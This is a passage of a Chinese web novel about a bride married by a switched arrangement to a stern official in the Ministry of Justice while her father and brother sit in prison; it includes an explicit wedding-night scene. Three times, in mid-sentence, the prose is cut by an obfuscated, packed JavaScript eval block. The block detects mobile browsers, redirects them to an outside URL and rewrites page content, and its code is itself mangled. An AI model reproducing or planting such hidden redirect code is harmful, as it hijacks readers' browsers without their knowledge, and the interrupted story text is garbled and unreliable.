握着牵红，有时站歪了被丫鬟拽一下，多数时候许革音只能从盖头底下那一小片的视野里盯着旁边人捏着同一根红绸而曲起的嶙峋指节，和底下起伏的正红衣摆，亦步亦趋。 糊里糊涂拜完堂，丫鬟将人领进房里坐下来，脑袋上的凤冠有些沉，许革音挺着腰，头也不敢低。 迄今为止许革音都没有见过四少爷，只听说过是个十分端正的郎君，且在朝中也是春风得意。 手心出了点冷汗。到底是新婚，难免紧张，又想着不知道四少爷喜不喜欢她这个样子的。 大奶奶送来的两个丫鬟站在旁边，也一样沉默着。静默的每时每刻都格外漫长，许革音嗓眼发干，不知道是紧张的还是未曾进水的缘故。脑子里混沌琢磨着新郎官也早该回来了才对。府里不曾大办，一家人在前院简单摆了个席，未见得比平日家宴好上多少……他还会来吗？ 许革音只觉得腰疼、腿疼，头也疼，甚至因为许久不曾挪动，从小腿漫上来酸麻。 直到意识已经昏沉，才听见门外有动静。门被推开，两个丫鬟好像刚启唇唤了声“少爷”便被制止，退下去将门带上。 晚风鼓进来，许革音冷不丁打了个冷颤，清醒了些。小腿上的酸麻一阵阵涌上来，像是冰霜，一寸寸冻结，攀至她的腰腹心口。 新郎在桌子前停了一停，不久许革音从盖头下有限的视野里看见一支玉如意，稳而缓慢。视线随之升高，瞧见红袍上精细的暗纹，往上的革带上的纯金祥云扣，再到胸前的团龙纹样，一寸寸扫过凸起的嶙峋喉结、光洁的下颌。 盖头后翻，落到凤冠上，带起的微风扑在耳际，许革音同时接到了新郎官睥睨下来的视线。 ——冷然的审视。 室内突有一阵凌乱的响动，夹杂着一声惊呼。门口守着的两个丫鬟齐齐转头看向紧闭的房门。 ——“怎么、怎么是你？！” 4. 龙凤烛 许革音惊起，下意识往后退一步，只是已无可退，腿肚子贴上床缘，又重新跌坐下来。 原先压着的酸麻齐齐涌上来，自腰下都没了感觉，只有胸腔里雷动。 手掌后撑的时候压住一颗花生，受力崩裂，发出清脆的声响，夹在她急促的呼吸里。 窗户没关，卷进来一阵风，烛火晃荡两下，光影在脸上斑驳。那边的人半张脸隐在暗处，并无波澜，瞧着竟然有些鬼魅阴森。 祝秉青看她两眼，却似无意安抚，往后退了一步，回身走到桌前。一手执壶，另一手三指夹着两只玉杯，清亮的酒水从细颈壶里泄出，洒出几滴在指尖上。 哪有闯了旁人新房的人还能这般淡然的？ 许革音保持着跌坐下来的微微后仰姿势，脚尖往外蹭了半步，愣愣看着他自若行动，实在有些糊涂。见他没有开口的打算，这才强撑镇定，试探再道：“大伯哥宴上喝得太多，走错院子了。” “大伯哥？”祝秉青略一拢眉，神色分明没几分变化，可语调已然冷沉，令人不寒而栗。 他没做过多解释，反倒好心提醒道：“这里是北园，片玉斋。” 饶是许革音不知道片玉斋，也该清楚北园绝不是大房的院子。 两只捏在一起的玉杯分开，其中一只递到眼前，许革音顺着微潮的指尖看上去，从修剪整齐的指甲，到曲起的骨节，手指到手掌都是一样的清瘦——这只手她从盖头底下看过小半天，确实是捏着牵红、引她拜堂的那只手！ 许革音心头一坠，即使已然知道不受左丞府待见，却是不敢相信会被这般折辱。盯着他的指尖，声音有些生硬：“家祖当时是与大房定下的婚约。” “年代已久，又无聘书，左丞府肯认确有其事，你又如何能确定是有约于哪一房？” “交换的庚帖送来的也是大房四……”许革音仍在挣扎。 “要我带你去祠堂看一眼吗？”祝秉青像是有些不耐。 即使婚仪简陋，却也是拜过祖祠的，她的姓名已入族谱，一看便知。 他敢这般说，定然已是板上钉钉。 片玉斋里到处张灯结彩挂着红布，甚至连前面的桌布都换了红的，显然是错不了——左丞府上下沆瀣一气，早就打定了主意将她当个物件儿一样轻易易主。但仍做着最后的挣扎道：“这是老爷的意思？大房那边也是知情的？” 祝秉青平静道：“我上无父母，你以为今日高堂坐着的是谁？” 许革音手脚凉得厉害，头脑中纷杂，却听眼前人又道：“自然，我是很不愿意勉强人的。若你实在为难，府里头倒也是有船的。” 再一趟船将她送回平江吗？ 这话说得漂亮，可实在有些胁迫人的意思。如此受辱，许革音倒真想打开面前横着的酒杯，摔掉头上的凤冠，连他那劳什子船也不坐，爬也自己爬回平江。 但最终只是伸出僵硬颤抖的手臂，接过玉杯，勾住他的手臂，甚至为了配合面前过于颀长的青年，主动垫脚凑上去。酒液滑下喉咙，没尝出滋味，手中的杯子被人抽走，她才后知后觉呛咳。 直到喉咙都火辣，唇边才并不温柔地递过来一只水杯。 许革音想接过杯子，却没扯动，只能转为合握，一起送到嘴边。 头顶倏然一道淡声：“新婚夜该怎么做，有人教过你么？” 许革音抬头看他，觉得刚吞下去的一口水又要呛住，眼角都憋得泛红，眼神飘忽，最终也没有点头或者摇头。 刘妈妈早走了，谁给她操心这些启蒙的事儿？便是没走，这个关头她又哪来的心思钻营这些。 祝秉青倒是淡定得多，将杯子送回桌上再回来，视线在她头顶停留了几息，便直接上手将她的发冠拆下来。 扯得头皮很痛。 “别发呆，宽衣。”并不很机灵。 许革音以前讨巧献媚时偶有给父兄穿过外衣，因此倒也不算一窍不通，闻言便抬手解他腰带。 大约是来前沐浴过，他身上早已不是拜堂时穿的那一套，连最里面都换了平时的白色里衣。到这最后一件时，许革音却是下不去手了。 面前的人却没管她的踌躇，将人抱起来放到床上，没脱下来的衣服被他亲手都剥了，许革音闭上眼睛，隔着眼皮仍有光晕。 “能不能把蜡烛灭了。”像人情往来送出手的礼品，在大盛的灯光下，一点点剥开外面裹着的红纸，任何细节都无处遁藏。这种感觉实在令人羞臊。 “龙凤烛哪能灭？”祝秉青抬头，视线移上来，看着她已然紧闭的双眼，很是顿了一顿，像是为她一再的愚钝。 但又看到她咬着的嘴唇，口脂被磨出一块斑驳。不知道是不是刚刚沾唇的水还未干，在暖黄的烛光下像是带露的正红月季花。柔软，润泽。 很是诱人。他也很是遵从内心，俯下去亲了一亲。 许革音像是有些被吓到，连呼吸都停了。祝秉青反倒呼吸一急，更重地压下去，反复含吮勾缠。 他捏着她的细腕将手臂打开，换了自己的胸膛抵下去。又捏她的脚踝，贴上来。 许革音战栗，被这种不属于正常体温的热度烫到，基于本能地想哭。 他贴得更紧，一寸一寸。 呼吸也有些缠人，粗重地喷在耳边。 可实在是不温柔，涩痛。许革音想说些话、想喊他的名字，叫他慢些、轻些。脑子里昏昏沉沉，没有找到眼前人所对应的那个名字，于是最后只憋出来一句：“你叫什么？” 再是盲婚哑嫁，交换庚帖的时候都该知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739942|174115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方的姓名，问出这样的问题似乎太过匪夷所思。 ——自然，如今这种情况也不能怪她，毕竟不知道大伯哥的名字却是无伤大雅的。 她能感觉到他的动作停下来瞬息，复又狠狠一推，回答夹在她漏出的痛呼声中：“祝秉青。” 她只听见颅内的嗡鸣。 又是一退，声音里夹杂着急促的喘息：“小字让尘。” “别、别动……！”许革音额头上都蒙了细汗，半个字也听不进去，只知道实在难耐。身上紧贴着的烫人的体温，像是在将她炙烤。 祝秉青却没给喘息的机会，紧追着反问道：“我叫什么？” 许革音耳朵都有些嗡鸣，短短四个字在脑子里绕了好几圈，最后才终于拼成了一句有意义的问话。 ——可又不太答得上来。“祝秉……秉……” 没“秉”出个所以然，祝秉青便格外不留情面，捏着她半只腰的手收力，几乎要陷进肉里。 直到许革音自救般哽咽出来一个“让尘”，他才终于慢下节奏。 许革音适应些，总算好过许多，半张的唇里一声接着一声毫无意义的呜咽，她却全然不自知。 两只半人高的龙凤烛竖立两边，映出周遭红色的光，许革音整个人都是透红的。连祝秉青的耳廓，都难以避免覆上一层艳色。 看得久了，便实在有些眼热。祝秉青咬牙直起身，颊肉都绷得很紧，动作停下来，像是在缓和一些冲动。 底下的人心口起伏地厉害，实在叫人怀疑她究竟还能不能吸上来下一口气。散落的发丝凌乱盖了大半张脸，有几绺就在鼻子下边，都没有余力抬手拂去。 祝秉青看她半晌，伸手到她脸上，将贴在脸上的湿发一点点拨开，竟有些温情。 许革音只知道他停了下来，大以为没有后续。脑子里慢半拍想到自己只顾着难过，却忘了嫁进左丞府、甘于受辱的初衷。于是伸出颤颤巍巍的手，攥住他的手腕，问道：“你任什么官？” 实在是很煞风景。 祝秉青又是一顿，深觉自己今夜大约是太好说话，叫这人到这个时候还不忘惦记旁的事。恨道：“我实在是不该叫你这张嘴现在还能说出话。” 将她的手拨开，反手压到床褥上，手指一根根地嵌进去，冷嗤一声，笑道：“放心罢，为夫官至比部司员外郎。” 比部司隶属刑部，父兄如今就是关在刑部的。许革音一喜，心道刑部比礼部更胜一筹，此番竟不是个赔本买卖。眼皮一掀，对上他冷然的视线，又是一抖，唇角才抬上去的弧度又放下来。 祝秉青将她这些小表情尽收眼底，俯下身来，薄唇贴住她的耳朵，低声耳语：“比你那小叔子，要高一个品级。” ——竟是又压了下来！ 5. 乞骸骨 次日祝秉青休沐，却照旧起得很早。 他一起身，被子掀开一角，漏进来冷风，许革音迷迷糊糊伸手抓住被子，露出来的胳膊一凉，这才清醒些，“该敬茶了？” 祝秉青受制，视线下放落在被她攥在手里的衣角，又看她还半闭着的朦胧双眼，默了片刻，伸手把她拂下去，道：“不必。” 三房没有长辈，想来老爷子也不愿吃他们这一口茶。 屋外头都是整夜有人守着的，过去是阿册，现在房里有了三少奶奶，他就不便进去了。祝秉青从衣架上取了常服，反手一甩披上，却听见门被扣响两声，外面有细细的女声：“三少爷三少奶奶起身了？奴婢们进来伺候罢。” 三房里少有丫鬟伺候，只有幼弟身边有两个。祝秉青听出来是昨天跟着许革音的两个丫鬟，侧头瞥见横出床帐外的一只手臂，耷拉着垂下，面不改色，“进。” 许革音只听得外面一阵窸窸窣窣的动静，接着床帐被人拉起来向两边挂住，春树倾身唤她：“三少奶奶，该起身了。” 为人妻的，总要在身边伺候着，其实该起在前头。 许革音披了衣服擦了脸，清醒了许多，只是身上实在有些疲软。出了里间正看见暮云在给祝秉青整理外衣。 暮云侧首微低，系着直身侧腰的系带，脸几乎埋到郎君的怀里，露出一截细白的颈子，上面搭了一根红绳，两相映衬，当真养眼。抬手理领口的动作也甚是缱绻。 许革音蜷了蜷手指，视线一抬，见祝秉青也正看过来，不知道已经看了多久，只是眉头仍是拢着，对她很不耐的样子。 许革音抿唇，心里猜道他大约是不满自己躲懒。于是上前接过带钩，环腰将腰带扣过来，又往腰带上挂一个如意宝珠云纹玉佩流苏禁步，落下去的时候坠出一个小小的倒角，扯出来的腰型更加劲瘦。 到底是文臣，略比武夫欠半掌。 ——却也硬。 门已经敞开，天都还不曾亮透，带着潮湿晨雾的风涌进来，依稀又掺杂着桂香。 乍然受寒，许革音一哆嗦，进里屋换过衣服后被守在门外的阿册领着进了前厅。 将将用完了早膳，阿册又来通报说是大房的李嬷嬷求见，此次竟是要直接面见许革音。 许革音下意识去瞧祝秉青。他正在净手，水从手腕上一路蜿蜒到指尖，甩成连串的水珠又落回盆里，慢条斯理用帕子擦水，却自始至终没给她一个眼神。 许革音收回视线，按在唇上的帕子也放下，微微笑道：“带进来罢。” 如今三房的三少奶奶瞧着是个好拿捏的，李嬷嬷也不那么怵祝秉青了，先朝那边问了个好，又在许革音面前站定，假模假样地环顾一圈，视线在每个伺候的下人身上转了一圈，这才道：“三少爷原先不大爱使唤下人，可如今三少奶奶来了到底不一样——大奶奶体恤，特地去牙行挑了几个机灵的丫鬟供您差使。” 四个小丫鬟乖乖巧巧一字排开，低着头齐齐问了声好。李嬷嬷紧接着又介绍旁边的嬷嬷。“我这姐姐卢嬷嬷，原也是大奶奶房里的，本都预备还乡了，一听三少奶奶这里缺人手，特意留下了——三少奶奶看看是否收下？” 到底是新妇，还没有当家做主的实感。许革音又去瞧祝秉青，他倒是又坐回来了，指尖有一下没有下轻轻点着桌面，指腹落下来，没有一点声音，还是不肯给她一个眼神。 她又只能将视线收回来，斟酌着开口：“承蒙大奶奶挂念，却之不恭。可先前觍颜收了春树暮云两个，已是十分感激，哪好意思再承情。” 李嬷嬷劝道：“春树暮云这两个近身伺候主子伺候惯了，做的都是精细活儿，真要叫她们打杂反倒手笨。反倒这四个，磨墨打扇都是熟手的，哪怕是使唤烧水也是使得的。况伺候起居的，哪里会嫌人多？” 李嬷嬷嘴巴厉害，说起几个丫鬟的好处来头头是道，许革音根本听不进去。一晚上旁边睡着个火炉似的人，身上又到处酸痛，起身时也不过才闭眼一个时辰。又是得知祝秉青在刑部，更是喜不自胜。连月以来精神紧绷，一朝微微放松，竟有些不受控制，颅内松弛，这会儿全然是虚浮的。 也想不出拒绝的理由。三房里没有长辈，大奶奶代为操持很是合理。于是只能勉强笑笑，道：“那便谢大奶奶费心。” 李嬷嬷差事办成，荣光满面，就要拜别，许革音为表尊敬便随手指了暮云叫送人到院外。 刚转了个弯，李嬷嬷回头瞧了几眼，没见着有人，这才问道：“昨夜三少爷可碰了那许氏？” 暮云重重点头，先是抚抚胸口，又叹一声“我的个仙人”，也压低了声音道：“昨夜里动静可响了半宿！原是消停了会儿，我眼睛都闭上了，后面竟又……” “今晨春树伺候三少奶奶起身，别说是胸口，听说就连后背都有数不清的红印儿呢！” 李嬷嬷闻言亦有些惊疑，随后迅速自洽——到底是初尝，难免不知餍足些。 “三少爷既非是那般不沾情事的，你往后也机灵些，多往跟前凑凑。女子总有个不方便的日子，到时候有的是空子可钻。” “可三少爷瞧着实在不近人情了些，”暮云略有些迟疑，“今日里我服侍穿衣，靠得那么近，也完全不假辞色……表姑，我能行吗？” 暮云是李嬷嬷亲眷，才八岁的时候就带进了府里，往常在大房小厨房里洗菜，后面又到了大奶奶身边伺候，很得大奶奶信赖。 李嬷嬷点点她的鼻子，嗔道：“这说的什么话！你的姿容便是放到应天府小姐里也绝不落下乘的。” 又嗤一声，“新婚燕尔，心思都在新妇身上，等尝够了滋味，自然就能看到你的好。” 暮云点点头，又听李嬷嬷说：“虽说大奶奶有心叫你留意些三房动静，但待你得宠些，也别忘了为自己争个姨娘的位置……” - 虽是休沐，祝秉青仍有要务处理，直接进了书房。 颓山过了片刻才跟进来，递了封书信。 祝秉青撕开信封，话却完全不相关。“来迟了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739943|174115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>颓山微顿，如实道：“院子里来了几个生脸，缠着问了好些乱七八糟的问题。” 这是在抱怨。 祝秉青没说话，颓山等了片刻，还是没忍住道：“大房有意塞人进来，三少奶奶不明情况，是否需要属下将人谴回去？” 且不论这些人能不能爬得倒床、探听得到消息，有一个算一个，都是眼睛，行事难免受其掣肘。 “不必。这些事总要交到她手里。”祝秉青将底下的信纸换上来，漫不经心，“吃过亏了，自然就知道该怎么做。” 阅毕的信纸被他用火折子点了，丢进灰盆里。 “大房如今愈发坐不住。你晚些亲自跑趟刑部司，叫崇斯多派点人看着，伙食也留意些，别叫我那大舅哥和岳丈死在牢狱中。” 颓山领命，往后才退一步，又听他问：“许泮林可曾求见？” “尚未。” 祝秉青冷哼一声，嗤道：“不知所谓。” 又拍拍手上的焚灰，“给他也送个口信，就说许氏已入我房中了。” 颓山正要应声，外面扣门声先一步响起。 却是沉默了一会儿，像是在犹豫出口的称呼。“让尘……厨房里做了桂花莲子银耳羹，我给你送些过来。” 刻意放柔的声音，隔着一道门漏进来，又有些朦胧。 “进来。” 颓山上前打开门，将自己换出去，重新再把门带上。 小盏被许革音放到桌子上，推到他手边，她本人却有些莫名的局促，没话找话道：“刚刚走出去的是哪位？好像没见过。” 祝秉青坐下来，当真拿起小盏送到嘴边。 瓷勺沾着薄而透明的羹汤沾湿他的嘴唇，许革音原先觑着他神色的目光移下去，一时竟没能收得回来。 总是干燥的嘴唇，唯有在某些特定的时候才会展现别样的润泽。 祝秉青是她见过顶俊美的男子。此刻盏中升腾起热气，被弯折峻挺的眉骨截停，竟凝结出泛白的潮露，像是融化的薄雪，不摆肃容，亦有寒意，叫人不敢逼视。 这样的冷淡，也能被床帏之内的体温化解一二吗？ “下属，颓山。” 许革音怔愣，后知后觉这是在回她的话。 勺子“当啷”一声落回盏里，向旁边一推。 踏进书房的借口已被书房的主人三两口解决完，她像是再没有理由久留。 于是她咬唇，干脆直言道：“我父兄均不是蔑视王法之徒，如今已入狱两月有余，迟迟按而不表，此间究竟有什么说法？” 她自然也知道莽撞，祝秉青也在她面前多次展现过不耐。只是关心则乱，难免急功近利。“你说上面会秉公处理，我自然是相信。可是、可是这么久了……他们已经在里面很久了。” 父兄不肯透露，她就算有心相助，也跟无头苍蝇一般，找不到方向。 见祝秉青不为所动，又一咬牙，蹲身下来，手攀上他的膝盖，仰头直视，“让尘，你在刑部，你帮帮我。” 6. 玉京子 运河疏浚的事最初是操江御史提出来的，原也是个好事。 但偏偏就是文书出了问题。 逢春夏的时候平江府雨水多，水位涨上来操作就不大方便。只是上头的命令传达下来，也不好一直按着，便寻思着开渠，引到旱处和农庄里。 这也无可指摘。 但是巡抚督查的时候却发现批下来的文书里提到个渌里，地处平江府吴县和嘉兴府嘉善县交界处，吴县县志里不曾记载过。着手查下去，越探水越深。 隔壁的嘉兴府原是故衡王的封地。衡王是先帝首子，也是当今圣上同气连枝的胞兄。 前朝本不该有党争。先帝少年即位，元后诞下嫡子之后便直接立了储君，因此皇子之间感情都极好。衡王年岁长些，先一步分封立府。却在当今圣上离宫前夕出了件大事——太子随官治旱时感染时疫殁了，连带着元后也备受打击，跟着去了。 先帝悲痛万分，迟迟不肯再立储君，这一耽搁，竟是拖到了久病床前连遗诏都交代不出来的时候。 彼时元后嫡出次子才将满七岁，朝中大半的朝臣反对推稚子登基，以免重演史上挟天子以令诸侯的荒唐事。只是先帝勤勉，后宫不丰，子嗣就也不盛，一来二去，这担子便落到了圣人头上。 圣人此前从未想过有朝一日会荣登大宝，又眼见着先帝出气越来越少，便将衡王召回，也是想让皇兄辅佐左右。 岂知衡王野心勃勃，虽不占嫡，却占个长，又恃才傲物，以往肯认元后嫡长子，却实难接受绕开自己选了别的庶皇子。进宫当夜进了先帝内殿便给其灌了鹤顶红，见圣上发现，从容自若，反咬一口，又唤出亲兵，拿出事先伪造的遗诏，竟是想篡位！ 所幸太傅行事刻板，此前耳提面令多回，早已叫圣上重拟诏书，加印玉玺，送存内阁大库。 衡王后面伏法，封地搁置了好些年才收回来。只是空缺的那几年因连坐而砍了不少人，官爷也折进去好些，只剩个县丞坐镇，凡事拿不定主意，便稀里糊涂效仿隔壁吴县，久而久之俨然一城。 后面等圣人想起来再派人下去，两处接壤之地已经难分彼此，好些地方都已经更改了地名。渌里便是其中之一。 许士济任吴县知县还要再往后推十年。中间官员迭代几次，交接的时候已是一笔糊涂账，渌里已有官爷统理，地理位置上却与嘉善县隔了一条河，连年来都默认是在吴县辖内，只是原先既有官员，吴县这边就不便插手政务。此番挖渠却是将渌里考虑进去，一起向上提了。 ——然而事后再追溯上去，这块地却是故衡王旧封之地。 嘉兴府为当年衡王老巢，曾在此处赡养私兵，官商勾结，牵涉甚广。圣上虽未言明，但到底是被至亲背叛，始终是深恶痛绝，如今凡事涉嘉兴府的案件更是马虎不得。 且不说渌里隶属嘉兴嘉善县，吴县知县越俎代庖有大不敬之嫌；既然上交的文书里陈表渌里暂归吴县统辖，那这么多年来征收上来的税银两处府册都未计入上表，究竟又去了哪里？ 饶是许士济坚称自己绝未经手渌里税收，事关贪污受贿，又多少牵涉前朝党争，巡抚也不得不彻查。 一查更是不得了。许士济元配夫人蒋氏与衡王妃同出一源。 衡王是皇室中人，即使株连，也不好太过。圣上迁怒衡王妃母族嘉兴蒋氏，下令蒋姓族人永世不得入仕，男子为奴，女子为娼。 许士济与蒋氏青梅竹马，早已定亲，原先想着先立功业，再娶贤妻，岂料短短几日风云突变，得知消息时蒋氏已入娼门。他本就刚直，又与蒋氏有情，将其赎身之后另改了名字迎娶。 只是蒋姓贱籍却是不好拿到官府更改的。 许泮林乃娼|妓之子，不当科举入仕，可偏偏又中了前年的解元。 室内长久地沉默下来。屋外种了成片的竹子，一路走来时只觉得幽静，现在反倒显现出些许阴森。 许革音仍是抬头殷切地看着他，从他古井无波的神色里看不出来任何的动容。 祝秉青往后靠在四出头官帽椅背板上，下颌都没低下来半点，睨下来的视线便显得冷肃。或许他每次端坐公堂，瞧着底下慌张的被告也是用的这样的眼神。 此刻手掌底下藏青的锦缎仍是冰凉。 她不是堂下的犯人，却也要据理力争：“文书审批向来都是层级上递，由布政使司加印放行。既是放了檄文，便是奉命行事，如今却绕过布政使司单单扣押知县，不是本末倒置么？” 她显然不明就里。 当年圣上一度沉浸在与胞兄反目成仇的惊疑哀痛中，难免留了空子，后面才着手肃清朝野。 渌里既然划进了逆贼遗产，又是瞒报多年的税务，难免叫人联想到前朝余孽上去。皇帝最痛恨这些。 祝秉青倏然伸手握住她的手腕，将人拉起来，往自己更靠了两步。 久蹲的双腿有些麻痛，骤然起身，几乎是踉跄着往前跌。 桌案旁边没放置额外的椅子，祝秉青干脆将她拉到腿上，两手一捞，竟是将人圈在怀里了。“渌里历年政务难溯本源，如今的确是无主之地，可牵涉却广。” 即使已是夫妻，许革音还不太习惯与人这般亲密，坐到他身上的时候整个人都有些僵硬，只是还没来得及别扭，先被他说的话吸引去了注意。 祝秉青瞧着她掀起眼睫，再次殷切地看过来。“渌里一直设有里长，嘉兴府再分之后应当换过一次，前段时间畏罪自杀了。里长调任为当地轮充，可两县知县矢口否认曾下过调令。” “——实际上也确实没有查到相关文书。” 许革音听到此处，已是意识到事情远比想象的更为严重些，脊背已经绷得笔直。“那位里长是牵涉到什么官司？” 祝秉青放在她腿上的手有一下没一下捏着。不像是为其缓解疲乏，反倒像是把玩。“里长的宅子里搜出了历年来的税收账簿，可这些既不曾上交，也没有自留。那么这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739944|174115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里长究竟是受谁指使，如今是死无对证。” 许革音几乎有空泣的冲动。 渌里并非划定的地界儿，两边的态度都模棱两可，往年许士济在家中也叹过几次，不知道该不该管、又该管到什么程度。 但到底是很愿意帮衬一把的，挖渠疏浚是好事，便将渌里算上去了。若是此番不提渌里，巡抚也未必会注意到。连着几十年的税收空缺，这回绝不可能轻拿轻放，完全是无妄之灾了。“两县都有主簿和典史，大可去查的……” 说着自己声音也低下去了，亲近之人的证词难以取信，况且背后主使官职只会在知县之上，推一个知县顶罪并不困难。 “渌里是十年前新取的地名，两府分割的时候又拖泥带水牵扯了许久，这才格外难查些。”祝秉青格外发了善心，竟是宽慰起人来，“雁过掠影，倒也无需担心。” 祝秉青一眼不错地注意着她的神情，没从中看出丝毫慌乱，只有些沮丧和担忧。 “说起我那大舅哥，”祝秉青一手移到她的后颈，漫不经心地揉捏，“听闻四年前才开始走科举，此前原是没有打算的，怎的突然改变了主意？” 许革音心里正乱七八糟盘算着自己还能如何为此事周旋，闻言略反应了一下，才明白过来他说的“大舅哥”正是自己的兄长。 “哥哥从小念书便念得很好，只是父亲教导静不露机，这才耽搁几年。” “只是这样吗？” 绝不可能是这样。 许家父子两个早先就该知道许泮林无缘仕途，近几年敢走此道，约莫是有贵人相助了。 “怎、怎么了？”许革音被他骤然沉下来声音弄了个莫名。 ——被父兄过分保护的娇娘，没甚用处。 “随口一问。” 祝秉青兴致缺缺，往她侧腰一拍，示意起身，自己则是又从旁抽出《南直隶志考》翻开。 嘴里淡淡道：“北园的空房仍在修缮，近日你且住在片玉斋，夜里我会宿在书房，不必等我。” 这是在赶人。 许革音愣愣起身，不大明白他怎的翻脸这样快。明明片刻之前他还将她圈在怀里。“不住一起了吗？” 若有妾室，的确不便与妻同住一屋。可新婚燕尔，大多还是同住的。 新婚第二夜，许革音断然不希望他夜不归宿。又急于从他口中探听到刑部的消息，更得好好经营夫妻关系。 “我尚有热孝在身。”平铺直叙，连头都没有抬。 “可是昨夜里……”三回…… 祝秉青抬眼看过来，明明眉头都没有收紧的趋势，眉目端稳平静，看起来却令人很是怀疑下一瞬他就会抬手叫人搬来几十公斤重的刑具。 许革音有些怵这样的祝秉青。就像府里下人私底下说的，那真真像是阎罗。 祝秉青看她一会儿，倏然是笑了。倒也并不似开怀，眼神似泡在冰水里。 不作解释，“回罢。” 7. 闻秋声 从书房里出来的时候才将将巳时一刻。 青石板小路两边成片的竹子簌簌作响，即使两边竖着细石砖拦着，上面也照旧拢在一起，遮天蔽日。 唯有此刻金色的阳光，从枝叶罅隙漏下来，跳跃在其下穿行的人身上。 祝秉青虽然说不必去敬茶，但左丞府毕竟是高门，许革音又是新妇，明面上总不好太过怠慢。 三房没有长辈，常理来说除了老爷，余两房也会为三房诸多大事做打算。大奶奶今晨又着人送仆人过来，总要登门拜谢。 将小盏送回前院，许革音才领了春树暮云两个去了先去了东园。 李嬷嬷已是脸熟，这回见到人更不似初回刁难，将人带进厅里坐着，隔了一会儿又领进了大奶奶寝房外间。 大奶奶坐在榻上，旁边正有个丫鬟扭着身子给她按头，膝边还伏了一个，在捶腿。见人来了，睁开眼睛，脸上已经带了笑，“侄媳妇，快来跟前坐。” 说罢挥手令身边两人退下了，又叫李嬷嬷搬来一张铺牡丹绣花坐垫的圆凳，只摆在面前两步之外，距离近到许革音能嗅到她身上的桂花香气，甚至比外头飘进来的更馥郁些。 许革音手被她拉着，抬眼看上去，是个顶端庄大方的妇人，此刻微微弯唇笑着，眉眼弧度很是温柔。 “果真是平江过来的，这眼里都像笼着层水雾呢。”大奶奶偏着头，朝李嬷嬷那边赞了一句。 又叹口气，道：“只可惜，叫秉青先瞧见了。原先……” “大奶奶。”李嬷嬷那边突然插了句嘴，“四少爷新送过来的茉莉雪芽，最是香甜的。” 这话断处十分耐人寻味。 大奶奶接过茶盏，稍微顿了顿，又重新笑起来，“是呢。侄媳妇也快尝尝。” 外间地面上的光斑由斜变正，东拉西扯聊了竟有小半个时辰，大奶奶才面露怅然，“说来许大哥仍在应天府任翰林院修撰的时候，我倒是在家宴中见过一回。彼时意气风发，席间说起逆贼衡王，恨不能手刃，绝非会涉贪污的人，此间定然有什么误会。” 说到此处，许革音面现忧虑，低垂着的视线里手背被拍了拍，“好孩子，别担心，你大伯和小叔子官职虽低微，到底认识的人多，到时候给你留意着。旁的不说，总能多些探视的机会。” 这话实在是谦虚了，大爷是副千户，连祝秉鹤也是个正六品主事。 许革音当即起身要拜，“劳大伯母如此费心，革音实在不胜感激。” 大奶奶将人拦住，道“都是一家人，何须如此客气？” “倒是秉青那孩子，不知昨夜可曾体贴？他是在刑部的，若愿意帮一帮，却是比我们都便捷些。” 许革音见她提起，回想着祝秉青在书房里的态度，显然是有留意着此事，便如实道：“此事官人也是放在心上的。” 大奶奶闻言点点头微微笑道：“那是最好的。你且放心，秉青那孩子性子虽孤傲了些，父亲的话总还能听得进去，也不至于袖手旁观。” 许革音点点头，眼神落下去，已有些虚焦，眉头也微微蹙着，显然是有些忧心。 屋里才静了几息，李嬷嬷又从外面进来，到大奶奶身前微微弯着腰，道：“大奶奶，药熬好了，还一样直接端进来吗？” 大奶奶面色仍然柔和放松，“端进来罢，凉了更难入口了。” 药味传进来，许革音便起身拜别。 “这几碗药还有的灌，便也不留你了。”大奶奶说罢从手腕上褪下来一只水头极好的翡翠镯子给她套上，没肯她推脱。 最后起身将人往外送了两步，道：“好孩子，有空多来东园坐坐，别拘束。” - 从东园出来已是正午，想着再去二房大约是要留饭的，拒了担心那边不开心，应了又太过厚脸皮，便索性等过了晌午。 进去的时候二奶奶正与她那侄女相谈甚欢，见人来了齐齐盯着许革音。 最后又是在西园待了一个多时辰，头上多了根金镶玉的凤凰衔珠发钗。 入秋天暗得早些，申时天色已有些昏然，水池里蛙鸣声渐出，已有婢女托着灯烛在各处园子里点灯。 许革音走着路，心思却有些发散，心道大房二房两位夫人都不是难相与的，却不知原来这姻亲大约是祝秉青自己求来的。 ——他喜欢自己吗？在府里见过两次之后。 若当他潮热的胸膛紧紧贴在她背上的时候，这样漠然的郎君也会耐着性子，用带着喘息的嗓音温声抚慰。 可衣冠加身，他又那般不假辞色。 片玉斋里也掌了灯，踏进院子的时候许革音下意识往书房那个方向看了一眼。 